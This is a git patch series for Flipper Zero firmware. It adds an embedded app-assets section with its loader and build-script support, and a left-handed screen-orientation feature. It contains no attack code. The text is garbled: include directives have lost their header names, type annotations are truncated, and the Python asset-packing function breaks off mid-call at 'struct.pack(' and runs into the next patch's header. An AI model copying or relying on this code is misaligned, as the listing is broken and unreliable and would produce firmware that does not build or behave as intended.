b/applications/services/storage/storage_i.h index 85df5d926..cb7f16e47 100644 --- a/applications/services/storage/storage_i.h +++ b/applications/services/storage/storage_i.h @@ -13,6 +13,7 @@ extern "C" { #define STORAGE_COUNT (ST_INT + 1) #define APPS_DATA_PATH EXT_PATH("apps_data") +#define APPS_ASSETS_PATH EXT_PATH("apps_assets") typedef struct { ViewPort* view_port; diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index cab1edff5..2a335e366 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -454,7 +454,7 @@ void storage_process_alias( FuriString* apps_data_path_with_appsid = furi_string_alloc_set(APPS_DATA_PATH "/"); furi_string_cat(apps_data_path_with_appsid, furi_thread_get_appid(thread_id)); - // "/app" -> "/ext/apps_data/appsid" + // "/data" -> "/ext/apps_data/appsid" furi_string_replace_at( path, 0, @@ -472,6 +472,18 @@ void storage_process_alias( } furi_string_free(apps_data_path_with_appsid); + } else if(furi_string_start_with(path, STORAGE_APP_ASSETS_PATH_PREFIX)) { + FuriString* apps_assets_path_with_appsid = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(apps_assets_path_with_appsid, furi_thread_get_appid(thread_id)); + + // "/assets" -> "/ext/apps_assets/appsid" + furi_string_replace_at( + path, + 0, + strlen(STORAGE_APP_ASSETS_PATH_PREFIX), + furi_string_get_cstr(apps_assets_path_with_appsid)); + + furi_string_free(apps_assets_path_with_appsid); } } diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 8060d38a2..07c323a1b 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,18.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1636,6 +1636,7 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index f505b9439..fcacaeee9 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,18.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2461,6 +2461,7 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/lib/flipper_application/application_assets.c b/lib/flipper_application/application_assets.c new file mode 100644 index 000000000..1262870d5 --- /dev/null +++ b/lib/flipper_application/application_assets.c @@ -0,0 +1,361 @@ +#include "application_assets.h" +#include +#include + +// #define ELF_ASSETS_DEBUG_LOG 1 + +#ifndef ELF_ASSETS_DEBUG_LOG +#undef FURI_LOG_D +#define FURI_LOG_D(...) +#undef FURI_LOG_E +#define FURI_LOG_E(...) +#endif + +#define FLIPPER_APPLICATION_ASSETS_MAGIC 0x4F4C5A44 +#define FLIPPER_APPLICATION_ASSETS_VERSION 1 +#define FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME ".assets.signature" + +#define BUFFER_SIZE 512 + +#define TAG "fap_assets" + +#pragma pack(push, 1) + +typedef struct { + uint32_t magic; + uint32_t version; + uint32_t dirs_count; + uint32_t files_count; +} FlipperApplicationAssetsHeader; + +#pragma pack(pop) + +typedef enum { + AssetsSignatureResultEqual, + AssetsSignatureResultNotEqual, + AssetsSignatureResultError, +} AssetsSignatureResult; + +static FuriString* flipper_application_assets_alloc_app_full_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* full_path = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(full_path, app_name); + return full_path; +} + +static FuriString* flipper_application_assets_alloc_signature_file_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* signature_file_path = flipper_application_assets_alloc_app_full_path(app_name); + furi_string_cat(signature_file_path, "/" FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME); + + return signature_file_path; +} + +static uint8_t* flipper_application_assets_alloc_and_load_data(File* file, size_t* size) { + furi_assert(file); + + uint8_t* data = NULL; + uint32_t length = 0; + + // read data length + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + return NULL; + } + + data = malloc(length); + + // read data + if(storage_file_read(file, (void*)data, length) != length) { + free((void*)data); + return NULL; + } + + if(size != NULL) { + *size = length; + } + + return data; +} + +static bool flipper_application_assets_process_files( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t files_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + UNUSED(storage); + + bool success = false; + uint32_t length = 0; + char* path = NULL; + FuriString* file_path = furi_string_alloc(); + File* destination = storage_file_alloc(storage); + + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + for(uint32_t i = 0; i < files_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + // read file size + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + break; + } + + furi_string_set(file_path, full_path); + furi_string_cat(file_path, "/"); + furi_string_cat(file_path, path); + + if(!storage_file_open( + destination, furi_string_get_cstr(file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + FURI_LOG_E(TAG, "Can't create file: %s", furi_string_get_cstr(file_path)); + break; + } + + // copy data to file + if(!storage_file_copy_to_file(file, destination, length)) { + FURI_LOG_E(TAG, "Can't copy data to file: %s", furi_string_get_cstr(file_path)); + break; + } + + storage_file_close(destination); + + free(path); + path = NULL; + + if(i == files_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + storage_file_free(destination); + furi_string_free(file_path); + + return success; +} + +static bool flipper_application_assets_process_dirs( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t dirs_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + bool success = false; + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + do { + if(!storage_simply_mkdir(storage, APPS_ASSETS_PATH)) { + break; + } + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(full_path))) { + break; + } + + FuriString* dir_path = furi_string_alloc(); + char* path = NULL; + + for(uint32_t i = 0; i < dirs_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + furi_string_set(dir_path, full_path); + furi_string_cat(dir_path, "/"); + furi_string_cat(dir_path, path); + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(dir_path))) { + FURI_LOG_E(TAG, "Can't create directory: %s", furi_string_get_cstr(dir_path)); + break; + } + + free(path); + path = NULL; + + if(i == dirs_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + furi_string_free(dir_path); + } while(false); + + furi_string_free(full_path); + + return success; +} + +static AssetsSignatureResult flipper_application_assets_process_signature( + Storage* storage, + File* file, + FuriString* app_name, + uint8_t** signature_data, + size_t* signature_data_size) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + furi_assert(signature_data); + furi_assert(signature_data_size); + + AssetsSignatureResult result = AssetsSignatureResultError; + File* signature_file = storage_file_alloc(storage); + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + + do { + // read signature + *signature_data = + flipper_application_assets_alloc_and_load_data(file, signature_data_size); + + if(*signature_data == NULL) { //-V547 + FURI_LOG_E(TAG, "Can't read signature"); + break; + } + + result = AssetsSignatureResultNotEqual; + + if(!storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_READ_WRITE, + FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Can't open signature file"); + break; + } + + size_t signature_size = storage_file_size(signature_file); + uint8_t* signature_file_data = malloc(signature_size); + if(storage_file_read(signature_file, signature_file_data, signature_size) != + signature_size) { + FURI_LOG_E(TAG, "Can't read signature file"); + free(signature_file_data); + break; + } + + if(memcmp(*signature_data, signature_file_data, signature_size) == 0) { + FURI_LOG_D(TAG, "Assets signature is equal"); + result = AssetsSignatureResultEqual; + } + + free(signature_file_data); + } while(0); + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + return result; +} + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size) { + UNUSED(size); + furi_assert(file); + furi_assert(elf_path); + FlipperApplicationAssetsHeader header; + bool result = false; + Storage* storage = furi_record_open(RECORD_STORAGE); + uint8_t* signature_data = NULL; + size_t signature_data_size = 0; + FuriString* app_name = furi_string_alloc(); + path_extract_filename_no_ext(elf_path, app_name); + + FURI_LOG_D(TAG, "Loading assets for %s", furi_string_get_cstr(app_name)); + + do { + if(!storage_file_seek(file, offset, true)) { + break; + } + + // read header + if(storage_file_read(file, &header, sizeof(header)) != sizeof(header)) { + break; + } + + if(header.magic != FLIPPER_APPLICATION_ASSETS_MAGIC) { + break; + } + + if(header.version != FLIPPER_APPLICATION_ASSETS_VERSION) { + break; + } + + // process signature + AssetsSignatureResult signature_result = flipper_application_assets_process_signature( + storage, file, app_name, &signature_data, &signature_data_size); + + if(signature_result == AssetsSignatureResultError) { + FURI_LOG_E(TAG, "Assets signature error"); + break; + } else if(signature_result == AssetsSignatureResultEqual) { + FURI_LOG_D(TAG, "Assets signature equal, skip loading"); + result = true; + break; + } else { + FURI_LOG_D(TAG, "Assets signature not equal, loading"); + + // remove old assets + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + storage_simply_remove_recursive(storage, furi_string_get_cstr(full_path)); + furi_string_free(full_path); + + FURI_LOG_D(TAG, "Assets removed"); + } + + // process directories + if(!flipper_application_assets_process_dirs(storage, file, app_name, header.dirs_count)) { + break; + } + + // process files + if(!flipper_application_assets_process_files(storage, file, app_name, header.files_count)) { + break; + } + + // write signature + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + File* signature_file = storage_file_alloc(storage); + + if(storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_WRITE, + FSOM_CREATE_ALWAYS)) { + storage_file_write(signature_file, signature_data, signature_data_size); + } + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + result = true; + } while(false); + + if(signature_data != NULL) { + free(signature_data); + } + + furi_record_close(RECORD_STORAGE); + furi_string_free(app_name); + + FURI_LOG_D(TAG, "Assets loading %s", result ? "success" : "failed"); + + return result; +} \ No newline at end of file diff --git a/lib/flipper_application/application_assets.h b/lib/flipper_application/application_assets.h new file mode 100644 index 000000000..83bb14fb6 --- /dev/null +++ b/lib/flipper_application/application_assets.h @@ -0,0 +1,17 @@ +/** + * @file application_assets.h + * Flipper application assets + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size); + +#ifdef __cplusplus +} +#endif diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 64d5755ef..58e315333 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -241,7 +241,7 @@ static void elf_relocate_jmp_call(ELFFile* elf, Elf32_Addr relAddr, int type, El if(to_thumb || (symAddr & 2) || (!is_call)) { FURI_LOG_D( TAG, - "can't relocate value at %x, %s, doing trampoline", + "can't relocate value at %lx, %s, doing trampoline", relAddr, elf_reloc_type_to_str(type)); @@ -421,29 +421,11 @@ typedef enum { SectionTypeRelData = 1 << 2, SectionTypeSymTab = 1 << 3, SectionTypeStrTab = 1 << 4, - SectionTypeManifest = 1 << 5, - SectionTypeDebugLink = 1 << 6, + SectionTypeDebugLink = 1 << 5, - SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab | SectionTypeManifest, + SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab, } SectionType; -static bool elf_load_metadata( - ELFFile* elf, - Elf32_Shdr* section_header, - FlipperApplicationManifest* manifest) { - if(section_header->sh_size < sizeof(FlipperApplicationManifest)) { - return false; - } - - if(manifest == NULL) { - return true; - } - - return storage_file_seek(elf->fd, section_header->sh_offset, true) && - storage_file_read(elf->fd, manifest, section_header->sh_size) == - section_header->sh_size; -} - static bool elf_load_debug_link(ELFFile* elf, Elf32_Shdr* section_header) { elf->debug_link_info.debug_link_size = section_header->sh_size; elf->debug_link_info.debug_link = malloc(section_header->sh_size); @@ -478,7 +460,7 @@ static bool elf_load_section_data(ELFFile* elf, ELFSection* section, Elf32_Shdr* return false; } - FURI_LOG_D(TAG, "0x%X", section->data); + FURI_LOG_D(TAG, "0x%p", section->data); return true; } @@ -486,8 +468,7 @@ static SectionType elf_preload_section( ELFFile* elf, size_t section_idx, Elf32_Shdr* section_header, - FuriString* name_string, - FlipperApplicationManifest* manifest) { + FuriString* name_string) { const char* name = furi_string_get_cstr(name_string); #ifdef ELF_DEBUG_LOG @@ -572,16 +553,6 @@ static SectionType elf_preload_section( return SectionTypeStrTab; } - // Load manifest section - if(strcmp(name, ".fapmeta") == 0) { - FURI_LOG_D(TAG, "Found .fapmeta section"); - if(elf_load_metadata(elf, section_header, manifest)) { - return SectionTypeManifest; - } else { - return SectionTypeERROR; - } - } - // Load debug link section if(strcmp(name, ".gnu_debuglink") == 0) { FURI_LOG_D(TAG, "Found .gnu_debuglink section"); @@ -692,41 +663,12 @@ bool elf_file_open(ELFFile* elf, const char* path) { return true; } -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest) { - bool result = false; - FuriString* name; - name = furi_string_alloc(); - - FURI_LOG_D(TAG, "Looking for manifest section"); - for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { - Elf32_Shdr section_header; - - furi_string_reset(name); - if(!elf_read_section(elf, section_idx, §ion_header, name)) { - break; - } - - if(furi_string_cmp(name, ".fapmeta") == 0) { - if(elf_load_metadata(elf, §ion_header, manifest)) { - FURI_LOG_D(TAG, "Load manifest done"); - result = true; - break; - } else { - break; - } - } - } - - furi_string_free(name); - return result; -} - -bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manifest) { +bool elf_file_load_section_table(ELFFile* elf) { SectionType loaded_sections = SectionTypeERROR; - FuriString* name; - name = furi_string_alloc(); + FuriString* name = furi_string_alloc(); FURI_LOG_D(TAG, "Scan ELF indexs..."); + // TODO: why we start from 1? for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { Elf32_Shdr section_header; @@ -738,8 +680,7 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif FURI_LOG_D( TAG, "Preloading data for section #%d %s", section_idx, furi_string_get_cstr(name)); - SectionType section_type = - elf_preload_section(elf, section_idx, §ion_header, name, manifest); + SectionType section_type = elf_preload_section(elf, section_idx, §ion_header, name); loaded_sections |= section_type; if(section_type == SectionTypeERROR) { @@ -753,14 +694,49 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif return IS_FLAGS_SET(loaded_sections, SectionTypeValid); } +ElfProcessSectionResult elf_process_section( + ELFFile* elf, + const char* name, + ElfProcessSection* process_section, + void* context) { + ElfProcessSectionResult result = ElfProcessSectionResultNotFound; + FuriString* section_name = furi_string_alloc(); + Elf32_Shdr section_header; + + // find section + // TODO: why we start from 1? + for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { + furi_string_reset(section_name); + if(!elf_read_section(elf, section_idx, §ion_header, section_name)) { + break; + } + + if(furi_string_cmp(section_name, name) == 0) { + result = ElfProcessSectionResultCannotProcess; + break; + } + } + + if(result != ElfProcessSectionResultNotFound) { //-V547 + if(process_section(elf->fd, section_header.sh_offset, section_header.sh_size, context)) { + result = ElfProcessSectionResultSuccess; + } else { + result = ElfProcessSectionResultCannotProcess; + } + } + + furi_string_free(section_name); + + return result; +} + ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { ELFFileLoadStatus status = ELFFileLoadStatusSuccess; ELFSectionDict_it_t it; AddressCache_init(elf->relocation_cache); - for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); - ELFSectionDict_next(it)) { + for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); ELFSectionDict_next(it)) { ELFSectionDict_itref_t* itref = ELFSectionDict_ref(it); FURI_LOG_D(TAG, "Relocating section '%s'", itref->key); if(!elf_relocate_section(elf, &itref->value)) { diff --git a/lib/flipper_application/elf/elf_file.h b/lib/flipper_application/elf/elf_file.h index 673f165cc..f371cdb22 100644 --- a/lib/flipper_application/elf/elf_file.h +++ b/lib/flipper_application/elf/elf_file.h @@ -37,6 +37,14 @@ typedef enum { ELFFileLoadStatusMissingImports, } ELFFileLoadStatus; +typedef enum { + ElfProcessSectionResultNotFound, + ElfProcessSectionResultCannotProcess, + ElfProcessSectionResultSuccess, +} ElfProcessSectionResult; + +typedef bool(ElfProcessSection)(File* file, size_t offset, size_t size, void* context); + /** * @brief Allocate ELFFile instance * @param storage @@ -59,21 +67,12 @@ void elf_file_free(ELFFile* elf_file); */ bool elf_file_open(ELFFile* elf_file, const char* path); -/** - * @brief Load ELF file manifest - * @param elf - * @param manifest - * @return bool - */ -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest); - /** * @brief Load ELF file section table (load stage #1) * @param elf_file - * @param manifest * @return bool */ -bool elf_file_load_section_table(ELFFile* elf_file, FlipperApplicationManifest* manifest); +bool elf_file_load_section_table(ELFFile* elf_file); /** * @brief Load and relocate ELF file sections (load stage #2) @@ -122,6 +121,21 @@ void elf_file_init_debug_info(ELFFile* elf_file, ELFDebugInfo* debug_info); */ void elf_file_clear_debug_info(ELFDebugInfo* debug_info); +/** + * @brief Process ELF file section + * + * @param elf_file + * @param name + * @param process_section + * @param context + * @return ElfProcessSectionResult + */ +ElfProcessSectionResult elf_process_section( + ELFFile* elf_file, + const char* name, + ElfProcessSection* process_section, + void* context); + #ifdef __cplusplus } #endif \ No newline at end of file diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index 58909218a..6e20c0809 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -1,6 +1,7 @@ #include "flipper_application.h" #include "elf/elf_file.h" #include +#include "application_assets.h" #define TAG "fapp" @@ -55,24 +56,83 @@ static FlipperApplicationPreloadStatus return FlipperApplicationPreloadStatusSuccess; } -/* Parse headers, load manifest */ -FlipperApplicationPreloadStatus - flipper_application_preload_manifest(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_manifest(app->elf, &app->manifest)) { +static bool flipper_application_process_manifest_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationManifest* manifest = context; + + if(size < sizeof(FlipperApplicationManifest)) { + return false; + } + + if(manifest == NULL) { + return true; + } + + return storage_file_seek(file, offset, true) && + storage_file_read(file, manifest, size) == size; +} + +// we can't use const char* as context because we will lose the const qualifier +typedef struct { + const char* path; +} FlipperApplicationPreloadAssetsContext; + +static bool flipper_application_process_assets_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationPreloadAssetsContext* preload_context = context; + return flipper_application_assets_load(file, preload_context->path, offset, size); +} + +static FlipperApplicationPreloadStatus + flipper_application_load(FlipperApplication* app, const char* path, bool load_full) { + if(!elf_file_open(app->elf, path)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // if we are loading full file + if(load_full) { + // load section table + if(!elf_file_load_section_table(app->elf)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // load assets section + FlipperApplicationPreloadAssetsContext preload_context = {.path = path}; + if(elf_process_section( + app->elf, + ".fapassets", + flipper_application_process_assets_section, + &preload_context) == ElfProcessSectionResultCannotProcess) { + return FlipperApplicationPreloadStatusInvalidFile; + } + } + + // load manifest section + if(elf_process_section( + app->elf, ".fapmeta", flipper_application_process_manifest_section, &app->manifest) != + ElfProcessSectionResultSuccess) { return FlipperApplicationPreloadStatusInvalidFile; } return flipper_application_validate_manifest(app); } +/* Parse headers, load manifest */ +FlipperApplicationPreloadStatus + flipper_application_preload_manifest(FlipperApplication* app, const char* path) { + return flipper_application_load(app, path, false); +} + /* Parse headers, load full file */ FlipperApplicationPreloadStatus flipper_application_preload(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_section_table(app->elf, &app->manifest)) { - return FlipperApplicationPreloadStatusInvalidFile; - } - - return flipper_application_validate_manifest(app); + return flipper_application_load(app, path, true); } const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplication* app) { diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 64b9f6f39..eb1652b78 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -67,6 +67,7 @@ class FlipperApplication: fap_icon_assets_symbol: Optional[str] = None fap_extbuild: List[ExternallyBuiltFile] = field(default_factory=list) fap_private_libs: List[Library] = field(default_factory=list) + fap_file_assets: Optional[str] = None # Internally used by fbt _appdir: Optional[object] = None _apppath: Optional[str] = None diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index 214afd8af..d26b1b794 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -1,5 +1,5 @@ from dataclasses import dataclass, field -from typing import Optional +from typing import Optional, TypedDict from SCons.Builder import Builder from SCons.Action import Action from SCons.Errors import UserError @@ -15,6 +15,8 @@ import os import pathlib import itertools import shutil +import struct +import hashlib from ansi.color import fg @@ -151,12 +153,24 @@ def BuildAppElf(env, app): app_artifacts.compact, [app_env["SDK_DEFINITION"], app_env.Value(manifest_vals)], ) + + # Add dependencies on icon files if app.fap_icon: app_env.Depends( app_artifacts.compact, app_env.File(f"{app._apppath}/{app.fap_icon}"), ) + # Add dependencies on file assets + if app.fap_file_assets: + app_env.Depends( + app_artifacts.compact, + app_env.GlobRecursive( + "*", + app._appdir.Dir(app.fap_file_assets), + ), + ) + app_artifacts.validator = app_env.ValidateAppImports(app_artifacts.compact) app_env.AlwaysBuild(app_artifacts.validator) app_env.Alias(app_alias, app_artifacts.validator) @@ -266,6 +280,159 @@ def resources_fap_dist_action(target, source, env): shutil.copy(src.path, target.path) +def generate_embed_app_metadata_emitter(target, source, env): + app = env["APP"] + + meta_file_name = source[0].path + ".meta" + target.append("#" + meta_file_name) + + if app.fap_file_assets: + files_section = source[0].path + ".files.section" + target.append("#" + files_section) + + return (target, source) + + +class File(TypedDict): + path: str + size: int + content_path: str + + +class Dir(TypedDict): + path: str + + +def prepare_app_files(target, source, env): + app = env["APP"] + + directory = app._appdir.Dir(app.fap_file_assets) + directory_path = directory.abspath + + if not directory.exists(): + raise UserError(f"File asset directory {directory} does not exist") + + file_list: list[File] = [] + directory_list: list[Dir] = [] + + for root, dirs, files in os.walk(directory_path): + for file_info in files: + file_path = os.path.join(root, file_info) + file_size = os.path.getsize(file_path) + file_list.append( + { + "path": os.path.relpath(file_path, directory_path), + "size": file_size, + "content_path": file_path, + } + ) + + for dir_info in dirs: + dir_path = os.path.join(root, dir_info) + dir_size = sum( + os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) + ) + directory_list.append( + { + "path": os.path.relpath(dir_path, directory_path), + } + ) + + file_list.sort(key=lambda f: f["path"]) + directory_list.sort(key=lambda d: d["path"]) + + files_section = source[0].path + ".files.section" + + with open(files_section, "wb") as f: + # u32 magic + # u32 version + # u32 dirs_count + # u32 files_count + # u32 signature_size + # u8[] signature + # Dirs: + # u32 dir_name length + # u8[] dir_name + # Files: + # u32 file_name length + # u8[] file_name + # u32 file_content_size + # u8[] file_content + + # Write header magic and version + f.write(struct.pack(" Date: Thu, 9 Mar 2023 18:13:18 +0100 Subject: [PATCH 060/329] Upside down / left handed orientation support (#2462) * Add backup files to .gitignore * Added lefty support in Settings > System > hand Orient: Fixes: #1015 * Left handed mode * Fix lefthanded mode on vertical interfaces * Input: new composite sequence identifier * Gui: move input mapping from Canvas to ViewPort, properly handle input mapping on View switch in ViewDispatcher * Rpc: proper input sequencing and tagging in RpcGui * Rpc: remove magic from RpcGui Co-authored-by: MrDaGree <5050898+MrDaGree@users.noreply.github.com> Co-authored-by: Willy-JL Co-authored-by: Aleksandr Kutuzov Co-authored-by: Sergey Gavrilov --- .gitignore | 1 + applications/services/gui/canvas.c | 38 +++++++-------- applications/services/gui/gui.c | 8 +++- applications/services/gui/gui_i.h | 1 + applications/services/gui/view_dispatcher.c | 22 +++++---- applications/services/gui/view_port.c | 48 +++++++++++++------ applications/services/input/input.c | 8 ++-- applications/services/input/input.h | 10 +++- applications/services/rpc/rpc_gui.c | 21 ++++++++ .../settings/system/system_settings.c | 23 +++++++++ .../targets/furi_hal_include/furi_hal_rtc.h | 1 + 11 files changed, 133 insertions(+), 48 deletions(-) diff --git a/.gitignore b/.gitignore index 542652eb0..45ac91139 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +*~ *.swp *.swo *.gdb_history diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index d47bba6b2..9c29a39fd 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -4,6 +4,7 @@ #include #include +#include #include #include @@ -376,39 +377,36 @@ void canvas_set_bitmap_mode(Canvas* canvas, bool alpha) { void canvas_set_orientation(Canvas* canvas, CanvasOrientation orientation) { furi_assert(canvas); + const u8g2_cb_t* rotate_cb = NULL; + bool need_swap = false; if(canvas->orientation != orientation) { switch(orientation) { case CanvasOrientationHorizontal: - if(canvas->orientation == CanvasOrientationVertical || - canvas->orientation == CanvasOrientationVerticalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R0); + need_swap = canvas->orientation == CanvasOrientationVertical || + canvas->orientation == CanvasOrientationVerticalFlip; + rotate_cb = U8G2_R0; break; case CanvasOrientationHorizontalFlip: - if(canvas->orientation == CanvasOrientationVertical || - canvas->orientation == CanvasOrientationVerticalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R2); + need_swap = canvas->orientation == CanvasOrientationVertical || + canvas->orientation == CanvasOrientationVerticalFlip; + rotate_cb = U8G2_R2; break; case CanvasOrientationVertical: - if(canvas->orientation == CanvasOrientationHorizontal || - canvas->orientation == CanvasOrientationHorizontalFlip) { - FURI_SWAP(canvas->width, canvas->height); - }; - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R3); + need_swap = canvas->orientation == CanvasOrientationHorizontal || + canvas->orientation == CanvasOrientationHorizontalFlip; + rotate_cb = U8G2_R3; break; case CanvasOrientationVerticalFlip: - if(canvas->orientation == CanvasOrientationHorizontal || - canvas->orientation == CanvasOrientationHorizontalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R1); + need_swap = canvas->orientation == CanvasOrientationHorizontal || + canvas->orientation == CanvasOrientationHorizontalFlip; + rotate_cb = U8G2_R1; break; default: furi_assert(0); } + + if(need_swap) FURI_SWAP(canvas->width, canvas->height); + u8g2_SetDisplayRotation(&canvas->fb, rotate_cb); canvas->orientation = orientation; } } diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 94bab1402..24b48a837 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -50,7 +50,13 @@ static void gui_redraw_status_bar(Gui* gui, bool need_attention) { uint8_t left_used = 0; uint8_t right_used = 0; uint8_t width; - canvas_set_orientation(gui->canvas, CanvasOrientationHorizontal); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + canvas_set_orientation(gui->canvas, CanvasOrientationHorizontalFlip); + } else { + canvas_set_orientation(gui->canvas, CanvasOrientationHorizontal); + } + canvas_frame_set( gui->canvas, GUI_STATUS_BAR_X, GUI_STATUS_BAR_Y, GUI_DISPLAY_WIDTH, GUI_STATUS_BAR_HEIGHT); diff --git a/applications/services/gui/gui_i.h b/applications/services/gui/gui_i.h index 45061bd58..a5cd84120 100644 --- a/applications/services/gui/gui_i.h +++ b/applications/services/gui/gui_i.h @@ -8,6 +8,7 @@ #include "gui.h" #include +#include #include #include #include diff --git a/applications/services/gui/view_dispatcher.c b/applications/services/gui/view_dispatcher.c index 046958749..920b3c139 100644 --- a/applications/services/gui/view_dispatcher.c +++ b/applications/services/gui/view_dispatcher.c @@ -320,6 +320,13 @@ void view_dispatcher_send_custom_event(ViewDispatcher* view_dispatcher, uint32_t furi_message_queue_put(view_dispatcher->queue, &message, FuriWaitForever) == FuriStatusOk); } +static const ViewPortOrientation view_dispatcher_view_port_orientation_table[] = { + [ViewOrientationVertical] = ViewPortOrientationVertical, + [ViewOrientationVerticalFlip] = ViewPortOrientationVerticalFlip, + [ViewOrientationHorizontal] = ViewPortOrientationHorizontal, + [ViewOrientationHorizontalFlip] = ViewPortOrientationHorizontalFlip, +}; + void view_dispatcher_set_current_view(ViewDispatcher* view_dispatcher, View* view) { furi_assert(view_dispatcher); // Dispatch view exit event @@ -330,15 +337,12 @@ void 